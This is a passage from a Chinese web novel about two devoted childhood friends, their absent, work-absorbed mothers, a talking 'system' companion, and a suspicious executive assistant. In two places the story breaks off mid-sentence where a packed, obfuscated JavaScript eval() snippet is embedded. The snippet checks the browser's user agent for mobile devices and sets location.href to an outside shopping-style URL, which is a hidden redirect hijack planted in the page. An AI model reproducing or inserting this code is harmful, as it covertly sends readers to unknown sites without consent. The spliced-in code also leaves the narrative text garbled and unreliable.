“不过很危险的，下次不要这么做了。比起绿地蕴氧，我更在意你。”遂意认真地看着裴思炵。 因为总觉得危险正蛰伏着，所以就连一开始的惊呼遂意都有注意把音量放低。 “这里是温带雨林，安全性会高一些，而且我只在外围停留一会儿，不会有事的。” 裴思炵牵着遂意往外走，也同她轻声说着：“而且，这不是生日礼物。我没办法把这片雨林送给你，对不起。” 慢慢地还因为不安和愧疚下意识收拢了手。 裴思炵垂着头，因为太久没得到遂意的回复而紧张地抬眼看向她。 然后发现遂意在笑，估计刚刚一直在盯着他。 终于得逞了，小坏蛋。 裴思炵无奈地看着她，不过万幸，她没有不开心。 “裴思炵你再说我就要和你吵架咯，”遂意敲了敲裴思炵的脑门，“还想要骗我吗？难道你只找一处就找到这了？或者说只在温带雨林找？” 裴思炵不说话了，他可以瞒着她，也可以直接告诉她这是秘密，但不能骗她，这是底线。 他能保证的是：“即使热带雨林有很像的，我也不敢带你去。” “那你还去？既然这不是我的生日礼物，那我的生日礼物肯定和这个有关。只是因为刚好是温带雨林，刚好没那么危险，你才顺路带我过来，对不对？” 遂意笑眯眯地揉了揉裴思炵的头发，裴思炵认错的时候就这点好，低着头跟她说话，她抬手就能摸到。 裴思炵乖乖点头：“嗯。” “啊！对了，还有一个气没生。” “嗯？”裴思炵抬头。 “你跟我说对不起，明明那片三色堇我也没能送给你啊。” 裴思炵轻轻摇头：“但那个亭子留下来了。” “那这片雨林也会一直在这。” 裴思炵一顿，不知道要不要扫兴。 但遂意还能不懂吗？ “你要是敢说这片雨林不会一直在，那我就说那个亭子也不会一直在。”遂意嗔了裴思炵一眼。 “如果没有什么是不朽的，那遂意和裴遂意也不会永远……” 裴思炵眼疾手快地捂住了遂意的嘴，他皱着眉，有些生气地短叱了声：“遂意！” 遂意扭头不看他。 裴思炵叹了口气，认命地把她牵紧，继续带着她走。 这个小混蛋，倔起来就盯着一处，连路也不会看的。 等回到车上，遂意才装作不经意地戳了戳裴思炵：“还在生气吗？” “我不会生你的气，我只是太害怕了，没控制好情绪。对不起，本来带你来，是想你开心的。” “我很开心啊，但如果你又‘对不起’我就再跟你吵。” 她突然很郑重地说：“裴思炵，遂意和裴思炵可能不会……” 遂意在裴思炵执着的眼神中还是退让了，她说：“但我们想永远在一起的心是真的，如果没有不朽，那我们就每天都生长、变化、再适应变化。会腐朽的是木材，我们做常青的树，好吗？” 遂意说到最后都笑了，她都没想到这么大了，她还会说那么稚气的话，也就是哄裴思炵了。 她看着沉默的裴思炵，笑得更欢了，她继续哄道：“大约一百二十天，人的血液就能完整地更新一遍，那遂意就会用循环着新的血液的心脏，再一次坚定和裴思炵永远在一起的信念。那样就永远都是新的，那就真的‘不朽’了，好吗？” 裴思炵轻叹一声，倒在遂意的怀里，闷闷地说：“你就哄我吧。” 遂意搂着他的脑袋，乐得笑出了声。 裴思炵没空怪她，他刚刚听她说的，眼眶真的湿润了，他要等热意下去才敢抬头。 就是哄我的，我也认了。 裴思炵难堪地想。 系统可不管什么难不难为情的，它看着此情此景，跳出来大叫：【够了够了，我说裴思炵，够了！别再占我宿主的便宜！】 裴思炵在遂意这是很气弱，但系统他还拿捏不住吗？ 【一个女人倒在一个男人的怀里，人们只会艳羡那个男人。而一个男人倒在一个女人怀里，为什么你会觉得是那个女人被占便宜呢？因为男人是第一性？因为女人默认是客体？】 系统支支吾吾，无助得像被二辩质疑的对方一辩。 不过显然，系统就没打过辩论赛，不然这明显的诡辩它不可能会反应不过来。 裴思炵没再管它。 他确实是采取谬误言论来击退了系统，但那仅仅是因为系统的说法让裴思炵不高兴。 没有“占便宜”这一点，是真的。 关于亲密行为的可接纳范围，他和遂意是做过商讨的。 那会儿他们才上初中，因为是开放性更高的私立学校，一些人又被钱权包裹着显得非常早熟，班级里有人在明目张胆地谈恋爱。 老师和家长都不过分干预，这在当时，甚至被理解为是默认允许发生的。 接吻，甚至是更过火的事遂意都目睹过。 当时遂意就在想，如果裴思炵谈恋爱了，要和他接吻、发生关系以及共度一生的人，发现他身边有一个她，会不会觉得膈应？ 会的吧。 情到深处，恨不得融到一起的两个人，中间穿插了一个她，谁会高兴呢？ 所以那时起，遂意就有意地和裴思炵保持距离，不是害怕等到他谈恋爱时自己会不小心介入。而是不想那个会和裴思炵共度一生的人，因为他曾经与另一个人那么亲密而和他心生嫌隙。 一想到裴思炵会因为自己而不幸福，遂意就很难过。 当然了，那也许会是一个很大度的人，但遂意仍然愿意留出那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16674497|188680||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个可以在意的余地。 那个和他亲密无间的人可以在意，因为他们已经长大了，他们做出的一切行为都是有判断力的。如果他们越界了，那就是不当的、可以被追究的。 站在遂意的视角来看这是为裴思炵好，但在裴思炵眼里，那就是他被无故冷落了很长一段时间。 那时他还未习得他遂阿姨的真传，处理事情还不够圆滑。 他再也忍受不了遂意一次又一次地和他错开视线，于是就找好了地方，安排好时间，端上他新烤的蛋挞，很严肃地问遂意：“你是不是不愿意和我做好朋友了？” 或许当时遂意没有又一次错开裴思炵具有侵略性的目光的话情况会好一些，但没有或许，她错开了，裴思炵难过极了。 那时他委屈了也不懂得挤出眼泪来让遂意心疼，他就这样绝望又哀痛地看着遂意，一直一直，期盼他的好朋友能回心转意，看看他，再对他笑，然后说：“怎么可能，我们是一辈子的好朋友。” “遂意，你怎么能这么对我呢？我做错了什么……”裴思炵渐渐呼吸不上来了，最后几个字被他说得支离破碎。 遂意敏锐地察觉到了不对，猛地抬起头来，环住裴思炵的肩，将他平稳放倒：“裴思炵，你怎么样，心口？心口疼？！” 遂意见裴思炵抓着心口的衣服，抖着手去解开他的领口：“怎、怎么样的痛？前胸区？是放射性疼痛吗？有压迫感吗？喘不上气？” 裴思炵艰难地配合她的询问点头。 “突、突发心绞痛，我、我，硝酸甘油。”遂意想到了，她急速起身，又因为太慌了站不稳，重重地跌下来，膝盖着地发出一声脆响。 “遂、”裴思炵也急，但他一急遂意更慌。 她掉着眼泪，摸索着又去解裴思炵的腰带：“别动，你、你情绪稳定下来，静静的，减少心肌耗氧量，好点吗？好点吗，裴思炵？” “嗯。” “骗人！”遂意又起身想去找硝酸甘油，可她不能放裴思炵一个人，她进退两难间彻底崩溃后反而冷静了下来。 她先是打了120，又让家里的阿姨送医药箱过来，期间跪在裴思炵旁边帮他顺气。 还没等到阿姨送药来，裴思炵就没事似的握住了遂意帮他顺气的手说：“我没事，遂意，你不要怕。” “我、我不怕，没、没够三分钟，裴思炵你是不是在骗我，你给我乖乖躺着。” 裴思炵不说话，依旧握住遂意的手，遂意激烈跳动的心终于平稳下来。 “等一等，药马上就来了。” “嗯。”他确实没好，但有所缓解，或是适应了这种疼痛，说没事确实不算骗人。 不会比失去遂意更痛的，裴思炵直到躺在病床上也还是这么想。 “遂意，即使再发生今天这种情况，你也不会让我握你的手了，是吗？” 遂意聪明，裴思炵也不遑多让。 既然那么担心他，那就是青春期的避嫌了。 “你、” 裴思炵怕从遂意嘴里听到又让他心绞痛的话，连忙打断她：“握手不行，那拥抱就更不行了。都不行那就是任何亲密举动都不能有，举动不能有，是不是嘴上也不许说，久而久之这层曾经的亲密关系就真的成了幻影了。可遂意，世界上只有一个遂意，如果没有你，不会再有另一个人拥抱我了。” 裴思炵望着天花板，越说越平静，难过到最后竟然是麻木的。 遂意哭着摇头，扑到裴思炵身上抱住他：“不能，不能的，我不能失去你的。” 裴思炵抬手轻轻地拍拍遂意的脑袋，平和地说：“我知道，你刚刚被吓坏了，我们以后再说，好吗？” 刚说完医生就说要来检查，遂意只能放开他。 其实裴思炵已经没事了，但遂意不放心，坚持要去医院。因为事情并不紧急，就打电话让接线员不用安排救护车，然后再坐家里的车去了私立医院，以免占用公共资源。 事后等两个人都冷静下来，他们聊了很多。 譬如裴思炵说自己对任何人都没有兴趣，不可能和别人步入恋情。 譬如遂意也说自己不会找另一半，因为除了裴思炵不会再有人能给她安全感。 再譬如他们都离不开对方…… 终于，等到某个平常的放学的傍晚，遂意牵住裴思炵的手，认真地凝视他，说：“裴思炵，我们一直这样走下去吧。” 她意识到，关于不朽的释义是，她将每一次都以力挽狂澜的姿态将裴思炵留在自己身边。 就像今晚裴思炵收拾东西慢了一些，她等等他，他走快了一步她就追上去，是可以一直一起走下去的，只要有人愿意调整。 16. 遂妈回国 “宝贝，想不想妈妈？” 刚下飞机遂意就被遂倩衍搂紧了。 “想的，好久不见，妈妈。”遂意把脸往遂倩衍怀里埋了埋。 “妈妈也想你，”遂倩衍和遂意蹭了蹭就挪开去看裴思炵，“甜宝和心宝在外面玩得开不开心啊？喜不喜欢这次的生日礼物。” 裴思炵点头：“开心，喜欢，谢谢遂阿姨。” 遂倩衍笑眯了眼：“喜欢就好。慧慧说下个月能抽空回国一趟，到时候有惊喜哦。” 裴思炵抿唇，不知道要说什么，就只好又点头。 遂倩衍知道他的性子，没多说什么，只伸手将两个宝贝拢在一起，带他们往车那去。 “你们先在后面玩，行李我让人送回去了。我在行水留了包间，今晚我们一起吃饭。” 遂意和裴思炵乖乖点头。 遂倩衍摸摸他们的脑袋，到副驾处理公务了。 后座摆了很多小玩意儿，吃的喝的玩的都有。 遂意还在里面发现了一个造型奇特的魔方，那是她很小的时候感兴趣的了，有一年裴思炵送她的生日礼物就是一整面墙各式各样的魔方。 她捡起那个魔方拨弄了两下，好笑地对裴思炵说：“妈妈还把我们当小孩呢。” 裴思炵微微颔首以示肯定，不过他又说：“也没有很小，从前遂阿姨还管我叫甜心呢，现在好很多了。” 遂意憋笑：“嗯，那证明这么多年我们没白长。” 他们说话都没有刻意压低声音，因为只要沉浸在工作中，遂倩衍就对外界的情况一概不知了。 这也就是为什么她们看起来很亲密，但其实一年也见不到几面。 遂倩衍有心和女儿亲近，但她忙，一工作起来什么都容易忘，女儿的生日是被她写在工作日程里才能记住的。 * 【她们看起来挺好的呀。】系统憋很久了，久到都忘了先调侃遂倩衍对裴思炵的爱称，直接进入主题了。 裴思炵握笔的手一顿，他之前和系统解释过，但现在它还要问，应该是想知道为什么遂意之前线上和遂阿姨沟通不自在。 嗯…… 裴思炵沉吟片刻，才终于想到要怎么跟这个不太通人性的系统解释：【遂阿姨和我们一见面说了什么？】 系统不懂这裴思炵怎么起手又是一个反问，它摸不着头脑地说：【问遂意想不想她？】 【然后呢？】 【然后说也想遂意，再问你们玩得开不开心，还有你喜不喜欢她送的生日礼物。】 【嗯，还有呢？】 系统干脆全说了：【说你妈妈要回来，还有带你们去吃饭。】 【三个问句加两条指令，其余的忽略不计。也就是你不是人才感觉不出不对了。】裴思炵总结道。 系统还是不懂，等着裴思炵给它解释。 裴思炵不想去指责长辈，那样很没礼貌，就只能委婉地提醒：【飞机上是提供餐食的。】 【哦！你们吃了饭的。】系统恍然大悟。 裴思炵松了口气，总还不算太笨。 他斟酌着尽量以客观的角度评判：【遂阿姨和我的母亲很像，她们都是比较沉浸在自己世界里的人。】 【她们可能不太明白该怎么当母亲，所以亲子上的互动多半来源于模仿，】裴思炵抿了抿唇，还是决定说出口，【而且，我们也不是太正常的孩子。】 造成这种场面，他们要和自己的监护人对半摊责。 【模仿？两个吊车尾互抄？】系统和她们没有直接的联系，说话倒是毒辣。 裴思炵轻轻摇头：【怎么能说是吊车尾呢？你看看我和遂意的生活质量就知道了。哪怕是在皇城脚下，就在首都来说，有这个水准的占比多少？】 系统默不作声了。 裴思炵复又道：【她们不是在模仿对方，她们借鉴的是自己更熟悉的领域。对于学生，为他好是带他做课题、出成果。对于下属，为他好是升职加薪以及必要的人文关怀。】 【那该怎么办呢？】系统有点难受，问话语调都粘着浓浓的无措和惆怅。 那遂意该怎么办呢？ 【什么怎么办？】裴思炵以为系统来找自己是像上次一样要对任务进行调整才那么耐心的。 【如果遂意的妈妈不爱她，那她该怎么办呢？】 【爱？你怎么知道遂阿姨不爱遂意？你知道什么是爱吗？】 【可、】 裴思炵打断它：【完成九年义务教育是抚养，从小念最好的私校、到了大学在首都买学校附近的房子也是抚养，中间差的，不会只是责任心的强弱吧？】 【那、那……】 裴思炵没兴趣满足系统的好奇心，自动过滤掉系统一连串的问题，继续动笔。 系统自言自语这么老些，也意识到裴思炵不愿意搭理它了，它有些怯怯道：【可我不懂啊。】 裴思炵头也不抬：【你不用懂，我懂就行了。】 说到底，裴思炵还是把系统当作一个辅助工具，他是想要输出才会对工具输入的。纯喂数据？想得太美。 那想太美的草履虫还能怎样？换人问呗。 不过鲁直如系统也知道在遂意这要走一下旁敲侧击的路数，它状若八卦般问：【裴思炵怎么还成甜心啦？我瞧着他味道就苦。】 遂意正有一搭没一搭地拼积木，闻言扔了块零件，撑着下巴目光空洞地看向被她开来做背景音的电影，里面是一对正要逃亡的眷侣。 她长出一口气，无聊道：【因为裴思炵的思拆开有‘田’和‘心’，和‘甜心’同音。】 她今天是真的有些累了，现在不睡觉纯属是在飞机上睡久了，没法儿再睡，只好给自己找个不费脑的消遣。 谁知这看不懂气氛的系统得了答案还要继续纠缠。 【那为什么现在又叫他甜宝了呢？】 遂意垂下眼，伸手在桌上随意拨了拨积木零件，挑了枚她一早就知道该放哪的握在手里把玩：【因为我改名了，名字里也有‘心’，所以就一人分了一半，我叫心宝，他叫甜宝。】 遂意实在觉得索然无味，拼上那块积木就摁掉了电影，去吧台给自己调酒了。 屋子里开的暖光，大屏电视的光一熄，更显得一室寥落。 有风穿过，但太微弱了，窗纱摆动的幅度几乎可以忽略不计。 夜，更静了。 系统突然发现，遂倩衍和遂意是不住一块的。 它陡然间体验到有心脏的人类心空掉一拍的感觉，它不敢去回味那种新奇的体验，只不住地责备今夜的风。 为什么要这样呢？连风都不肯大一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16674498|188680||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 些。 连风都那么寡淡。 再大一些就好了，大一些，把窗纱吹开，弄一些声响出来，让遂意能去拉一拉窗帘、关一关窗也好啊。 再不济，让遂意偏偏头，看一看今夜的月亮也好啊。系统发现，今晚的月亮真的蛮圆的啊。 系统怀着这样起伏再大一些就要掉出眼泪的心情不敢再问了。 它突然明白为什么裴思炵总在害怕了。遂意那么聪明，今天从见到她妈妈起，她心里掀起了怎样的风暴呢？ 她妈妈的言行举止，又被她不可自控地做着怎样的解读呢？ 那三个中只有一个是向她直接提问的问句被她以怎样敏锐的心思计较着？ 那个被她妈妈带回来有关惊喜的消息为什么就只关乎裴思炵呢？ 那两条指令中一条让她在车后座面对过时的喜好，一条让她去高端精巧的饭桌上如坐针毡。 连系统这个认识她不过月余的非人类都知道遂意偏爱锅气，裴思炵能知道她近来爱吃小炒笋丝，那系统也能照葫芦画瓢，点一道挑不出错的鱼香肉丝。 倩影碧画涤千丝究竟是什么东西？ 一整盘画一样的，加起来没有遂意在胡禾夹一筷子笋丝来的多。 要是想话家常，席间为什么一句话不说。 要是只是怕遂意饿着，又为什么不问问她在飞机上吃过没有，或者带她去至少分量正常一些的餐馆吃饭。 非得在这种彰显身份的私房菜馆里蹉跎时间吗？ 这样近乎程序化的相处中，遂意究竟会想些什么呢？ 系统的体量那么庞大，仍有算力所不可及。那遂意呢？她的心思那么细腻，这些思考又会消耗她多少心力。 她一定很累了。 可太安静了，安静到仿佛世界只剩遂意一个人，所以系统还是冒着加重她疲惫的风险开口：【如果你不开心，可以去找裴思炵玩呀。】 【嗯？怎么说。】遂意失笑，不懂这个小系统为什么能把话题突转成这样。 【你、你妈妈她……】系统实在是不知道怎么说了，它没有妈妈，根本不清楚该怎么安慰她。只想着她要是能去找裴思炵就好了，裴思炵一定有办法。 遂意了然，慢悠悠地抿了口调好的酒：【裴思炵和他妈妈有时候甚至一年都见不到一面啊。】 【他又不会……】不开心。 系统是遂意的系统，裴思炵的心情不在它的考虑范围内。但它又想到，如果裴思炵难过，遂意会更难过，还是及时止住了话。 也许裴思炵真的不在意，但遂意会替他在意的。那些裴思炵所不会产生的情绪，都被遂意在猜想里翻了倍压在自己心头。 遂意听出系统的弦外之音也不生气，毕竟是一条直来直去的草履虫嘛，不指望它能有那么婉转的心思。 她解释道：【我们都不是很需要监护人陪伴的那种小孩。】 系统更伤心了。 怎么不是嘛。 你都变成这样了，难道不是监护人的失职吗？ 遂意如果知道系统怎么想，一定会像裴思炵一样反驳它的。 系统还是不明白，遂意可以在首都的大平层里寂寞，可以拿十几万一条的丝巾擦眼泪，可以跑到非洲看动物迁徙洗刷掉心中的郁闷。 都是因为她的妈妈。 17. 未来伴侣 “生日快乐，宝贝，”遂倩衍将礼物递给遂意再搂了她一下，退开，“妈妈下午三点的飞机，不能多陪你了，今天和甜宝玩得开心哦。” 遂倩衍快步走到门口，刚把手放到门把手上就想起什么，又小步跑回来，捧起遂意的脸一左一右亲了两口。 “宝贝，妈妈支持你做的所有决定，一定要确保自己在这个世界上玩够本哦。妈妈的宝贝今天又长大一岁了，希望你继续保持探索世界的热情。” 遂倩衍依依不舍地摸摸遂意的脑袋，旋身，疾速赶到门口，开门、出去一气呵成。 她理了理衣服的领口，朝等在门口的助理笑笑，即将迈步时听见遂意说：“妈妈，我也支持您做的所有决定。我很高兴您能对自己的事业保持长久不熄的热情，请务必继续做您所热爱的事。” 遂倩衍有片刻迟滞，但很快继续迈步，笑着回道：“当然！” 怎么办呢，好想回头摸摸我的宝贝。 一旁的助理捕捉到上司眼里一闪而过的水光，皱了皱眉，侧头瞥了眼抱着礼物目送母亲的小女孩。 遂意轻松感觉到那位助理的敌意，颇感兴趣地扬眉。 助理和她的视线刚对上，就立刻厌烦地移开目光，继续看着日程表，在遂倩衍耳侧轻语。 “哇哦，她对妈妈有意思呢。”裴思炵一过来遂意就凑近他，和他头碰头叽叽咕咕。 “谁？”裴思炵一愣。 他今早一直待在家里，将空间留给她和遂阿姨，临近中午饭点才出现，自然没机会见到遂倩衍的助理。 “就是那个据理力争反对股权转让的助理啊，你见过的。” 这裴思炵有印象，那次是他们去找遂阿姨，准备为遂阿姨庆生。刚好碰上他的母亲，正逢专利赠与事宜筹备初期，他和母亲聊了两句，被遂阿姨听见。 遂倩衍当场就提出将股权赠与遂意的想法，被徐慧衔敲了脑袋，说她头脑发热，没考虑赠与的话将来遂意出售股权将面临的高昂税负。 两人争辩了会儿后遂倩衍觉得转让这个手法也行，反正是她出钱让遂意购买自己手头的股权，本质还是赠送，就是说出去不怎么好听而已。 又被徐慧衔敲头：“什么不好听，你放眼看去谁不是这么做，谁愿意子女将来承担这笔税负。” 现场唯一理智的裴思炵虽然明白在长辈交谈时插话很不礼貌，但还是忍不住道：“其实比起转让，赠与更能让其他股东信任公司的稳定，以及对公司的长远发展抱有信心。而且，转让股份需要半数以上股东的同意。” 您现在有这个信心吗？ 最后一句裴思炵没有冒失地问出来，但在场三人没有一个是傻的，遂倩衍和徐慧衔都冷静了下来。 遂倩衍头痛地扶额，她镇定道：“我会好好考虑的。” ——并没有。 转眼就被裴思炵撞见她在和自己的助理争论了。 更糟糕的是去买鲜花的遂意还回来了。 裴思炵闭眼捂头，真是什么都被他赶巧碰上了。 “妈妈怎么了？”遂意担忧地张望。 “没事……”后面的裴思炵也不知道该怎么说了，因为遂阿姨看到遂意了。 好嘛，原来还有更更糟糕的。 上一秒遂倩衍还眉头紧锁，下一秒见着遂意就眉飞色舞了。 她推开玻璃门，接过女儿给她配的花，开心道：“妈妈正找你呢，快快，过来和黔阿姨一起商量转让股权给你的事儿。” 遂倩衍表情变化时黔岑安脸上空白了一瞬，还没等她多想就下意识地顺着遂倩衍的视线见到了遂意。 失落掩埋住她，但很快她就调整好情绪，快步走到遂倩衍身边。还是那个专业的黔特助，为极力阻止上司做不明智决定而显得态度强硬。 她冷眼看向遂意，又在视线触及到挡在遂意身侧的裴思炵后从容地收回，再一脸不赞成地盯着遂倩衍。 那时她看起来对谁都冷，裴思炵没过多在意，其实细想就能发现，她看遂意和遂倩衍的眼神太不同。 脸上的冰冷是假饰，眼里的爱意就要将自己和对方洞穿，刻意保持的强硬仅仅是色厉内荏。 而遂意—— 她讨厌遂意，那唯一一个让她最崇敬的人丧失理智的存在。 裴思炵思绪回笼，眉头轻蹙：“她做什么了？” “没啊，就是发现她看妈妈很不一般。” 裴思炵语气冷淡：“遂阿姨对她没意思。” “你怎么知道？”遂意惊讶地伸手点点裴思炵眉间的折痕。 “你不喜欢她？”遂意转着圈地打量裴思炵。 能让裴思炵讨厌的人可不多。 真稀奇。 裴思炵没正面回应，而是很肯定地看着遂意的眼睛说：“她不喜欢你。” 语气是鲜有的严肃。 长大后，情绪内敛更多的裴思炵几乎已经不会用这样的语气和她说话了。 “哎，”遂意戳戳裴思炵的脸颊，“裴思炵你干嘛那么激动，我知道她不喜欢我啊，可我干嘛要她喜欢我。” 裴思炵觉得只告诉她还是不妥，当机立断掏出手机：“我要告诉遂阿姨。” “啊？哎哎，别呀。”遂意赶紧拦住裴思炵的手。 “我必须告诉遂阿姨。”裴思炵在这上面有难以言喻的固执，决计不会听遂意的了。 “你拦住我，这件事到最后也不会有改变，因为我总能找到机会单独和遂阿姨沟通的。” “我没想干预妈妈的恋情呀。”遂意皱眉，不解地看着裴思炵。 裴思炵见她要撒娇，连忙别过头。 “和这个无关。” “那和什么有关？”遂意兜过去找裴思炵的眼睛。 裴思炵垂头，不与她对视。 遂意撇嘴，躬身去追着他看。 裴思炵无奈，只能闭眼重复：“她不喜欢你。” “这有什么关系？我未来的伴侣应该也只要我自己喜欢就行。” 裴思炵猛地睁眼看向遂意，失落和委屈像潮水一样涨满他的眼眶，让他喘不过气。 “诶诶，不是，裴思炵，我是在比喻。我的意思是，妈妈的伴侣只要她喜欢就行了！”遂意捧着裴思炵的脸，小心翼翼地和他蹭蹭。 “对不起，我不该这么说的，我记得我们的约定的。”遂意心疼地用指腹轻揩裴思炵的眼角，裴思炵难堪地又偏过头。 他哑声道：“那不是约定，你当时只是在表达自己的想法，但人的心思是可以变的，我不会……”用这个为难你。 遂意惊得去捂裴思炵的嘴，急道：“裴思炵你怎么不相信我。” 裴思炵摇摇头，动作很轻却不容置喙地将遂意捧着他脸的手往下摁。 遂意以为他要逃，连忙跳起来用腿环住他的腰，整个人挂在裴思炵身上，和他额头贴着额头。 “裴思炵，你听我说，我根本就没那个意思。”遂意温声软语地哄他。 裴思炵被她用手搂着脖子，动不了，只能闭上眼。 这举动在遂意眼里跟关上耳朵没差， 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遂意是遂阿姨的独生女，遂阿姨的就是她的，裴思炵不会允许属于遂意的东西里头埋有隐患。 裴思炵现在就很后怕，甚至开始责怪自己为什么没有尽早发现。如果那个人品行不端，对遂意来说该是怎样的威胁。 董事长特助，在那个位置，能做的事有太多。 小到在遂阿姨送遂意的礼物里动一点手脚，大到利用遂意的账户进行金融犯罪。 遂意的理财团队里就没有黔岑安经手的人吗？不可能。 她是目前遂阿姨最信任的人之一，给遂意挑理财顾问这种事越不过她。 现在那群酒囊饭袋只是失职，谁知道以后会不会被操控恶意渎职呢？ 遂意不愿意以恶毒的心思去猜想别人，那就由他裴思炵代劳。 遂意看着去打电话的裴思炵越想越不对劲，等等，他只说了是那个助理不喜欢自己吧？ 又不是我不喜欢她，刚刚分明是有在诡辩吧？！ 遂意回神太迟，这短短两分钟已经足够裴思炵把事情交代清楚了。 “裴思炵你真是越来越坏了。”遂意不满地嘟囔道。 遂意聪明，能迷惑她两分钟裴思炵就知足了，没指望瞒天过海。 “刚刚撒娇分明也是故意的吧？不对，更早一点，我说未来伴侣的时候，你也是故意说那种不相信我的话的，对吧？”遂意有点气恼地戳戳裴思炵。 裴思炵抓住遂意的手指缓声道：“也是在意的，我也是真的在意才会那么说的。遂意，我害怕。” 哼，这么说就是不否认咯。现在竟然还来装可怜。 但有什么办法呢？裴思炵能糊弄她本来就是她自己默许的，她如果不是太在意他的情绪慌了神，根本就不可能被裴思炵抓住可乘之机。 没有人会比裴思炵更重要，所以遂意也就无意在这件事上因为别人和他站在对立面。 不过她还是问了一句：“那她会被辞退吗？” 裴思炵摇头：“不清楚。但她签过竞业协议，所以可能会先是调岗，具体还要看遂阿姨的考量。” 她做到这个职级，再找工作不会是难事。问题就在她几乎是最早跟在遂倩衍身边的人，所以颇有种牵一发而动全身的感觉。 如果她离职，竞业协议会保障她的权益，同时，也会将对公司的影响降到最低。 遂意放下心来，点点头。